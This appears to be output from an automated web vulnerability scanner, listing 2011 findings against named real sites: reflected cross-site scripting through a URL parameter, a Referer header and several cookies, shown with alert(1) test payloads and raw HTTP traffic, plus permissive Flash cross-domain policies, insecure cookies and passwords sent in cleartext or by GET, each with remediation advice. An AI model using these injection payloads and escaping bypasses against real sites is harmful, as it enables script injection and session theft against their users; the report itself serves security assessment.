GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC&fc=000000&fs=10ae4c6\'%3balert(1)//bb990c2bcff&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1 Host: www.zoomerang.com Proxy-Connection: keep-alive Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the width request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9effc\'%3balert(1)//471bd0ffa78 was submitted in the width parameter. This input was echoed as 9effc\\';alert(1)//471bd0ffa78 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=1779effc\'%3balert(1)//471bd0ffa78&bc=226DB1&bgc=CFE8FC&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1 Host: www.zoomerang.com Proxy-Connection: keep-alive Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload d9078<a>e959884fd62 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /chat_init.js?sid=1821 HTTP/1.1 Host: livechat.iadvize.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=d9078<a>e959884fd62 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2879e'%3balert(1)//6361e5175a1 was submitted in the cli cookie. This input was echoed as 2879e';alert(1)//6361e5175a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Fri, 16 Sep 2011 16:30:32 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 7979
var cid='121773f9380f32f2879e';alert(1)//6361e5175a1';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this ...[SNIP]...
The value of the vuid cookie is copied into the HTML document as plain text between tags. The payload 7f265<script>alert(1)</script>cba43038c81 was submitted in the vuid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload 3929e<script>alert(1)</script>4d502bdc670 was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload 12dc8<script>alert(1)</script>00e1e0fd60f was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload a1ea1<script>alert(1)</script>4527f5cb25c was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload 16d5b<script>alert(1)</script>5f575fa2724 was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload ca1b3<script>alert(1)</script>d8b8a3855c7 was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the AA002 cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d2ac"><a>a5069e0a4f4 was submitted in the AA002 cookie. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: imagesak.securepaynet.net
Response
HTTP/1.0 200 OK Content-Type: text/xml Last-Modified: Mon, 03 Dec 2007 15:49:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Cache-Control: max-age=3888000 Date: Fri, 16 Sep 2011 18:07:29 GMT Content-Length: 203 Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: widget.uservoice.com
Response
HTTP/1.0 200 OK Server: nginx/0.8.54 Content-Type: text/xml; charset=utf-8 Last-Modified: Fri, 25 Mar 2011 16:25:17 GMT Date: Fri, 16 Sep 2011 15:26:56 GMT Content-Length: 378 Connection: close
<?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> <!-- Policy file for xmlsocket://socks.mysite.com --> <cross-domain-policy> <site ...[SNIP]... <allow-access-from domain="*" /> ...[SNIP]...
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: googleads.g.doubleclick.net
Response
HTTP/1.0 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/x-cross-domain-policy; charset=UTF-8 Last-Modified: Thu, 15 Sep 2011 22:33:08 GMT Date: Fri, 16 Sep 2011 04:48:02 GMT Expires: Sat, 17 Sep 2011 04:48:02 GMT X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=86400 Age: 38327
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: static.ak.fbcdn.net
Response
HTTP/1.0 200 OK Content-Type: text/x-cross-domain-policy;charset=utf-8 X-FB-Server: 10.30.146.197 X-Cnection: close Date: Fri, 16 Sep 2011 15:26:56 GMT Content-Length: 1527 Connection: close
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.facebook.com
Response
HTTP/1.0 200 OK Content-Type: text/x-cross-domain-policy;charset=utf-8 X-FB-Server: 10.62.226.57 Connection: close Content-Length: 1527
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: email.secureserver.net Connection: keep-alive Referer: https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Date: Fri, 16 Sep 2011 18:08:47 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: PHPSESSID=d25fc93ae88ce9e1cd32f84099433d38; path=/; domain=email.secureserver.net Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: https://login.secureserver.net/?app=wbe Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 0
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
Issued to:
www.google.com
Issued by:
Thawte SGC CA
Valid from:
Thu Dec 17 18:00:00 CST 2009
Valid to:
Sun Dec 18 17:59:59 CST 2011
Certificate chain #1
Issued to:
Thawte SGC CA
Issued by:
Class 3 Public Primary Certification Authority
Valid from:
Wed May 12 19:00:00 CDT 2004
Valid to:
Mon May 12 18:59:59 CDT 2014
Certificate chain #2
Issued to:
Class 3 Public Primary Certification Authority
Issued by:
Class 3 Public Primary Certification Authority
Valid from:
Sun Jan 28 18:00:00 CST 1996
Valid to:
Wed Aug 02 18:59:59 CDT 2028
8. Password field submitted using GET methodpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://shoprunner.force.com
Path:
/content/JsContentElementsDRGS
Issue detail
The page contains a form with the following action URL, which is submitted using the GET method:
http://shoprunner.force.com/content/step1
The form contains the following password field:
password2
Issue background
The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.
Issue remediation
All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.
Request
GET /content/JsContentElementsDRGS HTTP/1.1 Host: shoprunner.force.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.drugstore.com/
The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.
By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.
You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.
Issue remediation
There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="/Director.aspx?sid=20&sky=J6&pgi=1723&pgk=1V1547WG&eli=WtfDblh%2fxXwZ3ln0M1g%2fUQ%3d%3d&rid=12865 ...[SNIP]...
10. Cookie scoped to parent domainpreviousnext There are 46 instances of this issue:
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sid.gif?mid=drugstore&ref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue HTTP/1.1 Host: mct.rkdms.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.drugstore.com/
Response
HTTP/1.1 200 OK Date: Fri, 16 Sep 2011 16:30:37 GMT Server: Apache Content-Length: 43 Cache-Control: no-store,no-cache,must-revalidate Content-Type: image/gif Set-Cookie: sessionid=h-1fe0eb546ed368ebf937b670b69487dc_t-1316190637; domain=.rkdms.com; path=/; expires=Sat, 15-Sep-2012 16:30:37 GMT Pragma: no-cache P3P: policyref="http://www.rkdms.com/w3c/p3p.xml", CP="CURa ADMa DEVa OUR COM NAV INT CNT STA NID DSP NOI COR", policyref="http://www.rkdms.com/w3c/p3p.xml", CP="CURa ADMa DEVa OUR COM NAV INT CNT STA NID DSP NOI COR", policyref="http://www.rkdms.com/w3c/p3p.xml", CP="CURa ADMa DEVa OUR COM NAV INT CNT STA NID DSP NOI COR"
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Date: Fri, 16 Sep 2011 16:19:42 GMT Server: Server x-amz-id-1: 1PHE6XWEKS4TWMMSRJGA p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: 3I7sp1cyML40qUFi1d00hE0VX4iDZHL0ioPBD7LjGkhf7vqRU0ghhAp4FK1O9i7Z Vary: Accept-Encoding,User-Agent Cneonction: close Content-Type: text/javascript; charset=UTF-8 Set-cookie: ubid-main=189-8322294-4852542; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT Set-cookie: session-id=188-7348060-9795407; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT Content-Length: 40
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /SEM/AP?ga_campaign=(roi)+moved+ad+groups&ga_adgroup=smtp+service&ga_keyword=SMTP%20service&afid=164592&gclid=COWek_yJoqsCFQhrgwodLzuGZg HTTP/1.1 Host: go.icontact.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="/Director.aspx?sid=20&sky=J6&pgi=1723&pgk=1V1547WG&eli=WtfDblh%2fxXwZ3ln0M1g%2fUQ%3d%3d&rid=12865 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /image.aspx?page=%2Farticle%2F5246&site=help.securepaynet.net&server=m1plgdhelp003&querystring=plid%3D&status=200&article_id=5246&locale=en&topic_id=168 HTTP/1.1 Host: img.secureserver.net Proxy-Connection: keep-alive Referer: http://help.securepaynet.net/topic/168/article/5246?plid= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: image/gif Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: pathway=d990793e-d1e7-4b97-a94a-94399c0b4c8b; domain=.secureserver.net; path=/ Set-Cookie: pagecount=1; domain=.secureserver.net; path=/ Set-Cookie: fb_pagecount=1; path=/ Set-Cookie: actioncount=; domain=.secureserver.net; path=/ Set-Cookie: fb_actioncount=; path=/ Set-Cookie: app_pathway=; domain=.secureserver.net; path=/ Set-Cookie: fb_session=S_TOUCH=09/16/2011 18:09:35&pathway=d990793e-d1e7-4b97-a94a-94399c0b4c8b&V_DATE=09/16/2011 11:09:35; path=/ Set-Cookie: visitor=vid=d990793e-d1e7-4b97-a94a-94399c0b4c8b; domain=.secureserver.net; expires=Sat, 15-Sep-2012 18:09:35 GMT; path=/ Set-Cookie: traffic=; domain=.secureserver.net; path=/ X-Powered-By: ASP.NET P3P: CP=IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA Date: Fri, 16 Sep 2011 18:09:35 GMT Content-Length: 43
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
__pcid=9GFPhk:1; Domain=.sendgrid.com; expires=Wed, 14 Mar 2012 15:26:40 GMT; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /smtp-with-bullet-points/?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ HTTP/1.1 Host: landing.sendgrid.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 RlogId: p4n%60rujfudlwc%3D9vt*ts67.%6052f505-1327309143d Set-Cookie: npii=btrm/svid%3D646543881975054aa8f^cguid/62d7951f1320a479e7268c86ff361dd15054aa8f^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:19:27 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa PSDo PSAa OUR SAMo IND UNI COM NAV INT STA DEM PRE" Cache-Control: private, no-cache Pragma: no-cache Content-Type: text/html Content-Length: 316 Date: Fri, 16 Sep 2011 16:19:26 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
